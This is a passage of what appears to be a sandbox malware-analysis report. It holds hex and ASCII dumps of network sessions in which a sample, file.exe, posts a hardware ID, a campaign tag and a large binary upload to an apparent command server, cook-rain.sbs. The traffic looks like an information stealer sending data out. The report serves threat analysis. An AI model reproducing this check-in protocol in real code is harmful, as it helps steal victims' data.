cfL4;desc="?proto=TCP&rtt=1154&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15992&delivery_rate=2427493&cwnd=252&unsent_bytes=0&cid=6f6d970764d1b91c&ts=659&x=0"
2024-11-17 11:35:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 11:35:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49714	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:10 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SS44SMVG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19909 Host: cook-rain.sbs
2024-11-17 11:35:10 UTC	15331	OUT	Data Raw: 2d 2d 53 53 34 34 53 4d 56 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 32 35 43 41 33 32 43 30 31 43 30 39 38 46 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 53 53 34 34 53 4d 56 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 53 53 34 34 53 4d 56 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 53 53 34 34 53 4d 56 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --SS44SMVGContent-Disposition: form-data; name="hwid"2825CA32C01C098FF7005D7B20127A88--SS44SMVGContent-Disposition: form-data; name="pid"3--SS44SMVGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--SS44SMVGContent-Di
2024-11-17 11:35:10 UTC	4578	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 Data Ascii: 2+?2+?o?Mp5p_oI
2024-11-17 11:35:11 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d6k5uqepq4kq899rgsdubic6p1; expires=Thu, 13-Mar-2025 05:21:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sAF3e0xD7z8AY3hP%2F5d%2FMaejFEomBgTtlZUuZ9HPshsKQxoC4y7mamc4KG0JJDPzSyR%2FWG%2Fcgl7gKewlKax8NFIXiQnmpGVhVS7Ql0oJSmEhiUPWCR%2BEqlNchkvFVXOb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6a73efff2c8d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1161&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2829&recv_bytes=20858&delivery_rate=2479452&cwnd=140&unsent_bytes=0&cid=4939c631a332b6f2&ts=701&x=0"
2024-11-17 11:35:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 11:35:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49716	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:12 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EGGD0VK26S83AWA0FB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1237 Host: cook-rain.sbs
2024-11-17 11:35:12 UTC	1237	OUT	Data Raw: 2d 2d 45 47 47 44 30 56 4b 32 36 53 38 33 41 57 41 30 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 32 35 43 41 33 32 43 30 31 43 30 39 38 46 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 45 47 47 44 30 56 4b 32 36 53 38 33 41 57 41 30 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 47 47 44 30 56 4b 32 36 53 38 33 41 57 41 30 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --EGGD0VK26S83AWA0FBContent-Disposition: form-data; name="hwid"2825CA32C01C098FF7005D7B20127A88--EGGD0VK26S83AWA0FBContent-Disposition: form-data; name="pid"1--EGGD0VK26S83AWA0FBContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-17 11:35:12 UTC	1000	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uo2oas06hu5dtctb52hi11r8gs; expires=Thu, 13-Mar-2025 05:21:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qFyPOoQT22CVOuOlEzXOysDWbSv8HJjtLdMsEw0NhMAy8vsw8KWCTbg78yAUQlVvUk8Hsa2HAuNMr6c8QFZsvXtP0gKOQYBl57Aepcq6JZKXIvevJsYbpP%2FMXUUVnZWr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6a7f6e922d35-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1049&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2151&delivery_rate=2654445&cwnd=251&unsent_bytes=0&cid=be538708fd5cf55b&ts=494&x=0"
2024-11-17 11:35:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 11:35:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:12 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:12 UTC	492	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:12 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113512Z-1866b5c5fbbx98hfhC1DFWuqmg00000002yg000000007wa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:12 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-17 11:35:12 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-17 11:35:13 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49717	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:14 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3BHP4V5MEZGZX33N1CP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571407 Host: cook-rain.sbs
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: 2d 2d 33 42 48 50 34 56 35 4d 45 5a 47 5a 58 33 33 4e 31 43 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 32 35 43 41 33 32 43 30 31 43 30 39 38 46 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 33 42 48 50 34 56 35 4d 45 5a 47 5a 58 33 33 4e 31 43 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 42 48 50 34 56 35 4d 45 5a 47 5a 58 33 33 4e 31 43 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --3BHP4V5MEZGZX33N1CPContent-Disposition: form-data; name="hwid"2825CA32C01C098FF7005D7B20127A88--3BHP4V5MEZGZX33N1CPContent-Disposition: form-data; name="pid"1--3BHP4V5MEZGZX33N1CPContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: a7 58 d2 31 c4 b9 e4 f0 63 99 8f 28 4d 93 e8 e6 ac cc 08 63 6c e4 4c d5 24 df 86 79 8b 0a 59 79 7c ac bc 51 6a 8a 9e d4 95 c4 f2 c9 b8 ba e4 62 46 e5 67 e9 a2 11 3e a3 87 e1 87 7a b1 b1 e2 0f 8a b8 c5 78 30 8e 6a 9f e2 fd 32 54 a5 1b 24 70 ee 48 11 af 42 44 56 bc fe 0d 13 42 ff fe 68 d8 4f 62 56 88 ce 40 b5 4f ae 8b f5 15 0d 47 32 44 88 6a ba 53 06 00 63 7b a2 02 77 9a 44 c9 98 37 32 8c 89 b0 27 3c 4f b6 56 a5 f7 2d 99 c3 31 83 30 5b 48 70 4b 02 d3 87 86 e3 b9 b7 22 35 3e 5e 1f b7 8d 53 1f 57 7a f9 c5 81 f9 cc c1 9a 65 4f 97 8e db be e5 f7 78 0e 0e 4a 3b 71 e3 45 ad 1f f8 ae 55 68 6e 2c fd 71 97 db 91 00 65 a2 22 59 61 24 58 60 9a 92 af e9 da 40 ea c0 5e 64 64 f7 fb 49 ee 34 4a 9b df b0 e0 1e 1a 8b de ae 0f db 67 69 88 85 67 f1 25 94 e4 15 f6 95 62 48 52 Data Ascii: X1c(MclL$yYy\|QjbFg>zx0j2T$pHBDVBhObV@OG2DjSc{wD72'<OV-10[HpK"5>^SWzeOxJ;qEUhn,qe"Ya$X`@^ddI4Jgig%bHR
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: f3 95 eb 1d 85 d6 07 f9 c8 fa 27 ac 55 6b 05 24 bd 7e 94 b5 87 e1 07 cc 37 8e dd ee e7 3e 81 09 cc fa 35 f3 81 96 94 82 4a 76 f3 44 e7 a3 8f e1 15 a2 b7 e9 3f 7c 45 a3 5e 94 f2 de ff 88 24 74 75 b0 5f 38 10 3c 7a 3b 0d e7 0f 64 ae 2d bc 19 ae ee fd a0 4a 6a 38 b2 fb 0e bb b3 ac 76 3c b1 da ab a8 6a 7e 3d 64 d8 ab 6c 64 32 9c bb 92 59 55 b5 b0 f9 21 c4 6f f6 68 19 f9 cb df af 21 c6 bb 00 ee 27 27 ad 9f 66 01 ff fd c8 2c 5f e9 d0 57 87 eb 0a b8 8b e7 59 83 99 81 3b 43 5f c4 9c 37 0e 29 c8 49 2d 6d fe b8 bd 46 1f fd 57 4d d8 c4 f9 eb eb 8d 0c d1 b1 e5 fb 0e d5 f3 df c2 59 63 4f 05 6b 3a 7e af 99 fc 49 e1 5b 0d a7 a3 8a 59 a4 3d 37 92 f6 d0 bb fc 55 6e 5f 1f 16 b6 32 e6 94 38 54 dd 7d 37 54 72 f3 9f 21 f6 7a 55 3d 7f 0e 4b 39 6c 34 f2 ab 87 81 45 79 47 e4 83 Data Ascii: 